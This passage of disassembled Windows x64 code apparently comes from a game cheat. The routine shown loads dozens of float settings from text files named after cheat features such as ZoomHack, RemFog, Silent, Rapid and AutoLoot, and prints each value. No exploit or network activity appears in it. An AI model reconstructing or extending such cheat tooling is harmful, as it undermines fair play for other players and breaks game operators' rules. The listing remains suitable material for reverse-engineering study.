lea rcx, [rbp + 0x8940]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8a50]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8a50]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8b60]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8b60]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8c70]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8c70]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8d80]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8d80]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8e90]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8e90]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x8fa0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x8fa0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x90b0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x90b0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x91c0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x91c0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x92d0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x92d0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x93e0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x93e0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x94f0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x94f0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x9600]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x9600]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x9710]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x9710]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x9820]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x9820]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x9930]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x9930]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x9a40]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x9a40]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x3aa0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x3aa0]
call fcn.140089e90
mov edx, 0x110
lea rcx, [rbp + 0x3bb0]
call fcn.1400569b0
mov edx, 1
lea rcx, [rbp + 0x3bb0]
call fcn.140089e90
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_sensivity_1.txt
lea rcx, [rbp + 0x6c90]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_akbind.txt
lea rcx, [rbp + 0x6da0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtflrbind.txt
lea rcx, [rbp + 0x6eb0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfmpbind.txt
lea rcx, [rbp + 0x6fc0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfcsbind.txt
lea rcx, [rbp + 0x70d0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, [0x14009e6c8]
lea rcx, [rbp + 0x71e0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_smbind.txt
lea rcx, [rbp + 0x72f0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfm2bind.txt
lea rcx, [rbp + 0x7400]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfptbind.txt
lea r8d, [r9 - 0x3f]
lea rcx, [rbp + 0x7510]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfxxbind.txt
lea rcx, [rbp + 0x7620]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfyybind.txt
lea rcx, [rbp + 0x7730]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfhhbind.txt
lea rcx, [rbp + 0x7840]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_ssbind.txt
lea rcx, [rbp + 0x7950]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_slbind.txt
lea rcx, [rbp + 0x7a60]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfxcontrol_1.txt
lea rcx, [rbp + 0x7b70]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfycontrol_1.txt
lea rcx, [rbp + 0x7c80]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_adssensivity_1.txt
lea rcx, [rbp + 0x7d90]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, [0x14009e870]
lea rcx, [rbp + 0x7ea0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSpliter.txt
lea rcx, [rbp + 0x7fb0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBigSpliter.txt
lea rcx, [rbp + 0x80c0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCode.txt
lea rcx, [rbp + 0x81d0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfZoom.txt
lea rcx, [rbp + 0x82e0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBigClip.txt
lea rcx, [rbp + 0x83f0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfEnable.txt
lea rcx, [rbp + 0x8500]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAntiAfk.txt
lea rcx, [rbp + 0x8610]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfZoomHack.txt
lea rcx, [rbp + 0x8720]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSpamChat.txt
lea rcx, [rbp + 0x8830]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfHipFire.txt
lea rcx, [rbp + 0x8940]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRapid.txt
lea rcx, [rbp + 0x8a50]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, [0x14009ea30]
lea rcx, [rbp + 0x8b60]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCodeEnter.txt
lea rcx, [rbp + 0x8c70]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfMiniOverlay.txt
lea rcx, [rbp + 0x8d80]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfinstaeoka.txt
lea rcx, [rbp + 0x8e90]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAutoDetect.txt
lea rcx, [rbp + 0x8fa0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCursor.txt
lea rcx, [rbp + 0x90b0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfdelayRapid.txt
lea rcx, [rbp + 0x91c0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRapidbind.txt
lea rcx, [rbp + 0x92d0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSensDt.txt
lea rcx, [rbp + 0x93e0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBgrade.txt
lea rcx, [rbp + 0x94f0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfKirka.txt
lea rcx, [rbp + 0x9600]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRemFog.txt
lea rcx, [rbp + 0x9710]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfTrash.txt
lea rcx, [rbp + 0x9820]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAutoLoot.txt
lea rcx, [rbp + 0x9930]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfcrosshair.txt
lea rcx, [rbp + 0x9a40]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSilent.txt
lea rcx, [rbp + 0x3aa0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfArmorDrop.txt
lea rcx, [rbp + 0x3bb0]
lea r8d, [r9 - 0x3f]
call fcn.140089cd0
lea rdx, [rbp + 0x32bc]
lea rcx, [rbp + 0x6c90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f29d
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32bc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32bc]
lea rdx, [rbp + 0x32bc]
lea rcx, [rbp + 0x6c90]
movss dword [0x1400ae270], xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f250
lea rdx, [rbp + 0x32c4]
lea rcx, [rbp + 0x6da0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f31b
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32c4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32c4]
lea rdx, [rbp + 0x32c4]
lea rcx, [rbp + 0x6da0]
mov dword [0x1400b4ca8], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f2d0
lea rdx, [rbp + 0x32c8]
lea rcx, [rbp + 0x6eb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f39b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32c8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32c8]
lea rdx, [rbp + 0x32c8]
lea rcx, [rbp + 0x6eb0]
mov dword [str.astd], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f350
lea rdx, [rbp + 0x32cc]
lea rcx, [rbp + 0x6fc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f41b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32cc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32cc]
lea rdx, [rbp + 0x32cc]
lea rcx, [rbp + 0x6fc0]
mov dword [0x1400ae280], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f3d0
lea rdx, [rbp + 0x32d0]
lea rcx, [rbp + 0x70d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f49b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32d0]
lea rdx, [rbp + 0x32d0]
lea rcx, [rbp + 0x70d0]
mov dword [0x1400ae26c], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f450
lea rdx, [rbp + 0x32d4]
lea rcx, [rbp + 0x71e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f51b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32d4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32d4]
lea rdx, [rbp + 0x32d4]
lea rcx, [rbp + 0x71e0]
mov dword [0x1400ae2dc], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f4d0
lea rdx, [rbp + 0x32d8]
lea rcx, [rbp + 0x72f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f59b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32d8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32d8]
lea rdx, [rbp + 0x32d8]
lea rcx, [rbp + 0x72f0]
mov dword [0x1400ae27c], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f550
lea rdx, [rbp + 0x32dc]
lea rcx, [rbp + 0x7400]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f61b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32dc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32dc]
lea rdx, [rbp + 0x32dc]
lea rcx, [rbp + 0x7400]
mov dword [0x1400ae400], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f5d0
lea rdx, [rbp + 0x32e0]
lea rcx, [rbp + 0x7510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f69b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32e0]
lea rdx, [rbp + 0x32e0]
lea rcx, [rbp + 0x7510]
mov dword [0x1400ae3fc], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f650
lea rdx, [rbp + 0x32e4]
lea rcx, [rbp + 0x7620]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f71b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32e4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32e4]
lea rdx, [rbp + 0x32e4]
lea rcx, [rbp + 0x7620]
mov dword [0x1400ae284], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f6d0
lea rdx, [rbp + 0x32e8]
lea rcx, [rbp + 0x7730]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f79b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32e8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32e8]
lea rdx, [rbp + 0x32e8]
lea rcx, [rbp + 0x7730]
mov dword [0x1400ae23c], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f750
lea rdx, [rbp + 0x32ec]
lea rcx, [rbp + 0x7840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f81b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32ec]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32ec]
lea rdx, [rbp + 0x32ec]
lea rcx, [rbp + 0x7840]
mov dword [0x1400ae2d4], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f7d0
lea rdx, [rbp + 0x32f0]
lea rcx, [rbp + 0x7950]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f89b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32f0]
lea rdx, [rbp + 0x32f0]
lea rcx, [rbp + 0x7950]
mov dword [0x1400ae2d8], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f850
lea rdx, [rbp + 0x32f4]
lea rcx, [rbp + 0x7a60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f91b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32f4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
